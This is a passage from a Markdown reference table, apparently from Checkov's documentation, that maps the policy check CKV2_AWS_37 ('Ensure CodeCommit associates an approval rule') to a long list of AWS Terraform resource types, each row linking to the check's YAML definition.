aws_sqs_queue                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2246 | CKV2_AWS_37              | resource                         | aws_sqs_queue_policy                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2247 | CKV2_AWS_37              | resource                         | aws_sqs_queue_redrive_allow_policy                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2248 | CKV2_AWS_37              | resource                         | aws_sqs_queue_redrive_policy                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2249 | CKV2_AWS_37              | resource                         | aws_ssm_activation                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2250 | CKV2_AWS_37              | resource                         | aws_ssm_association                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2251 | CKV2_AWS_37              | resource                         | aws_ssm_default_patch_baseline                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2252 | CKV2_AWS_37              | resource                         | aws_ssm_document                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2253 | CKV2_AWS_37              | resource                         | aws_ssm_maintenance_window                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2254 | CKV2_AWS_37              | resource                         | aws_ssm_maintenance_window_target                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2255 | CKV2_AWS_37              | resource                         | aws_ssm_maintenance_window_task                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2256 | CKV2_AWS_37              | resource                         | aws_ssm_parameter                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2257 | CKV2_AWS_37              | resource                         | aws_ssm_patch_baseline                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2258 | CKV2_AWS_37              | resource                         | aws_ssm_patch_group                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2259 | CKV2_AWS_37              | resource                         | aws_ssm_resource_data_sync                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2260 | CKV2_AWS_37              | resource                         | aws_ssm_service_setting                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2261 | CKV2_AWS_37              | resource                         | aws_ssmcontacts_contact                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2262 | CKV2_AWS_37              | resource                         | aws_ssmcontacts_contact_channel                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2263 | CKV2_AWS_37              | resource                         | aws_ssmcontacts_plan                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2264 | CKV2_AWS_37              | resource                         | aws_ssmcontacts_rotation                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2265 | CKV2_AWS_37              | resource                         | aws_ssmincidents_replication_set                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2266 | CKV2_AWS_37              | resource                         | aws_ssmincidents_response_plan                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2267 | CKV2_AWS_37              | resource                         | aws_ssmquicksetup_configuration_manager                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2268 | CKV2_AWS_37              | resource                         | aws_ssoadmin_account_assignment                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2269 | CKV2_AWS_37              | resource                         | aws_ssoadmin_application                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2270 | CKV2_AWS_37              | resource                         | aws_ssoadmin_application_access_scope                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2271 | CKV2_AWS_37              | resource                         | aws_ssoadmin_application_assignment                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2272 | CKV2_AWS_37              | resource                         | aws_ssoadmin_application_assignment_configuration                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2273 | CKV2_AWS_37              | resource                         | aws_ssoadmin_customer_managed_policy_attachment                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2274 | CKV2_AWS_37              | resource                         | aws_ssoadmin_instance_access_control_attributes                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2275 | CKV2_AWS_37              | resource                         | aws_ssoadmin_managed_policy_attachment                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2276 | CKV2_AWS_37              | resource                         | aws_ssoadmin_permission_set                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2277 | CKV2_AWS_37              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2278 | CKV2_AWS_37              | resource                         | aws_ssoadmin_permissions_boundary_attachment                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2279 | CKV2_AWS_37              | resource                         | aws_ssoadmin_trusted_token_issuer                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2280 | CKV2_AWS_37              | resource                         | aws_storagegateway_cache                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2281 | CKV2_AWS_37              | resource                         | aws_storagegateway_cached_iscsi_volume                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2282 | CKV2_AWS_37              | resource                         | aws_storagegateway_file_system_association                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2283 | CKV2_AWS_37              | resource                         | aws_storagegateway_gateway                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2284 | CKV2_AWS_37              | resource                         | aws_storagegateway_nfs_file_share                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2285 | CKV2_AWS_37              | resource                         | aws_storagegateway_smb_file_share                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2286 | CKV2_AWS_37              | resource                         | aws_storagegateway_stored_iscsi_volume                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2287 | CKV2_AWS_37              | resource                         | aws_storagegateway_tape_pool                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2288 | CKV2_AWS_37              | resource                         | aws_storagegateway_upload_buffer                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2289 | CKV2_AWS_37              | resource                         | aws_storagegateway_working_storage                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2290 | CKV2_AWS_37              | resource                         | aws_subnet                                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2291 | CKV2_AWS_37              | resource                         | aws_swf_domain                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2292 | CKV2_AWS_37              | resource                         | aws_synthetics_canary                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2293 | CKV2_AWS_37              | resource                         | aws_synthetics_group                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2294 | CKV2_AWS_37              | resource                         | aws_synthetics_group_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2295 | CKV2_AWS_37              | resource                         | aws_timestreaminfluxdb_db_instance                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2296 | CKV2_AWS_37              | resource                         | aws_timestreamquery_scheduled_query                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2297 | CKV2_AWS_37              | resource                         | aws_timestreamwrite_database                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2298 | CKV2_AWS_37              | resource                         | aws_timestreamwrite_table                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2299 | CKV2_AWS_37              | resource                         | aws_transcribe_language_model                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2300 | CKV2_AWS_37              | resource                         | aws_transcribe_medical_vocabulary                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2301 | CKV2_AWS_37              | resource                         | aws_transcribe_vocabulary                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2302 | CKV2_AWS_37              | resource                         | aws_transcribe_vocabulary_filter                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2303 | CKV2_AWS_37              | resource                         | aws_transfer_access                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2304 | CKV2_AWS_37              | resource                         | aws_transfer_agreement                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2305 | CKV2_AWS_37              | resource                         | aws_transfer_certificate                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2306 | CKV2_AWS_37              | resource                         | aws_transfer_connector                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2307 | CKV2_AWS_37              | resource                         | aws_transfer_profile                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2308 | CKV2_AWS_37              | resource                         | aws_transfer_server                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2309 | CKV2_AWS_37              | resource                         | aws_transfer_ssh_key                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2310 | CKV2_AWS_37              | resource                         | aws_transfer_tag                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2311 | CKV2_AWS_37              | resource                         | aws_transfer_user                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2312 | CKV2_AWS_37              | resource                         | aws_transfer_workflow                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2313 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_endpoint                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2314 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_group                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2315 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_instance                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2316 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_instance_logging_configuration                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2317 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_instance_trust_provider_attachment                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2318 | CKV2_AWS_37              | resource                         | aws_verifiedaccess_trust_provider                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2319 | CKV2_AWS_37              | resource                         | aws_verifiedpermissions_identity_source                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2320 | CKV2_AWS_37              | resource                         | aws_verifiedpermissions_policy                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2321 | CKV2_AWS_37              | resource                         | aws_verifiedpermissions_policy_store                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2322 | CKV2_AWS_37              | resource                         | aws_verifiedpermissions_policy_template                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2323 | CKV2_AWS_37              | resource                         | aws_verifiedpermissions_schema                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2324 | CKV2_AWS_37              | resource                         | aws_volume_attachment                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2325 | CKV2_AWS_37              | resource                         | aws_vpc                                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2326 | CKV2_AWS_37              | resource                         | aws_vpc_block_public_access_exclusion                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2327 | CKV2_AWS_37              | resource                         | aws_vpc_block_public_access_options                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2328 | CKV2_AWS_37              | resource                         | aws_vpc_dhcp_options                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2329 | CKV2_AWS_37              | resource                         | aws_vpc_dhcp_options_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2330 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2331 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_connection_accepter                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2332 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_connection_notification                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2333 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_policy                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 2334 | CKV2_AWS_37              | resource                         | aws_vpc_endpoint_private_dns                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | 